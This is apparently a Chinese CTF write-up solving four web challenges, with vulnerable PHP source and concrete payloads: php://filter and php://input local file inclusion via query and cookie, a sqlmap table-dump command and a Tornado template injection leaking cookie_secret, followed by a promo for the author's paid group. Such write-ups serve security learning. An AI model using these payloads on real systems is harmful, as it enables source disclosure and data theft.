一、fileclude
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
两个参数file1和file2
file2中包含数据file_get_contents
直接访问flag.php只显示WRONG WAY!
说明flag应该在flag.php的注释里
包含的是file1
所以
?file1=php://filter/read=convert.base64-encode/resource=flag.php
file2使用php伪协议传数据
file2=php://input
最后
http://61.147.171.105:61741/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
然后POST数据
hello ctf
拿到flag
然后base64转码即可
二、fileinclude
注释
发现源码泄露
?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?
发现文件包含点在COOKIE中,使用php伪协议filter的读,base64编码
COOKIE:language=php://filter/read=convert.base64-encode/resource=flag
base转码
三、inget
SQL注入
sqlmap -u "http://61.147.171.105:54122/?id=1" -T cyber -C user,ID,pw --dump
四、easytornado
模板注入
http://61.147.171.105:57847/error?msg={{handler.settings}}
先把flag的filename进行md5,然后再把cookie_secret与md5后的值拼接,再md5
欢迎加入我的知识星球,内含有多篇赏金漏洞
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅